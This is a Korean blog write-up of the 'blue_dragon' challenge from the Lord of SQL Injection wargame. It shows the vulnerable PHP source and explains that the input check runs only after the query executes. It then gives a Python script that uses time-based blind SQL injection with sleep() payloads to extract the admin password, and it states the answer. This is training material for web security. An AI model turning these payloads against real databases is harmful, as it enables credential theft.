728x90
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\./i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\./i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_blue_dragon where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(preg_match('/\'|\\\/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/\'|\\\/i', $_GET[pw])) exit("No Hack ~_~");
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_blue_dragon where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("blue_dragon");
highlight_file(__FILE__);
?>
처음에 입력값을 필터링하고 나서 쿼리를 실행 후 다시 입력값을 필터링한다.
두 번째 필터링은 '와 \ 문자를 필터링해서 뚫기 힘들다. 처음에 입력값을 필터링한 후 쿼리를 실행한다는 점에 주목하자.
Time Based SQL Injection이 가능하다.
참고로 두 번째 조건에 \\\는 오타인 거 같다. \\가 '\'문자를 이스케이프 처리한 것이기 때문에 \\가 맞다고 본다.
사용한 코드는 다음과 같다.
import time
url='https://los.rubiya.kr/chall/blue_dragon_23f2e3c81dca66e496c7de2d63b82984.php'
cookie={'PHPSESSID':'자신의 세션 id'}
HEX='0123456789ABCDEF'
#16
def find_pw_len():
pw_len=1
while True:
start=time.time()
r=requests.get(url+"?id=admin' and if(length(hex(pw))={},sleep(1),0)%23".format(pw_len),cookies=cookie)
end=time.time()
if end-start>1:
return pw_len
else:
pw_len+=1
#d948b8a0
def find_pw():
pw_len=find_pw_len()
tmp=''
for i in range(1,pw_len+1):
for j in HEX:
start=time.time()
r=requests.get(url+"?id=admin' and if(substr(hex(pw),{},1)='{}',sleep(1),0)%23".format(i,j),cookies=cookie)
end=time.time()
if end-start>1:
tmp+=j
if len(tmp)==2:
print(chr(int(tmp,16)),end='')
tmp=''
break
find_pw()
답: ?pw=d948b8a0
728x90
'Lord of SQL Injection' 카테고리의 다른 글
phantom (0) | 2023.01.03 |
---|---|
frankenstein (2) | 2023.01.02 |
red_dragon (0) | 2023.01.02 |
green_dragon (2) | 2023.01.02 |
evil_wizard (0) | 2023.01.02 |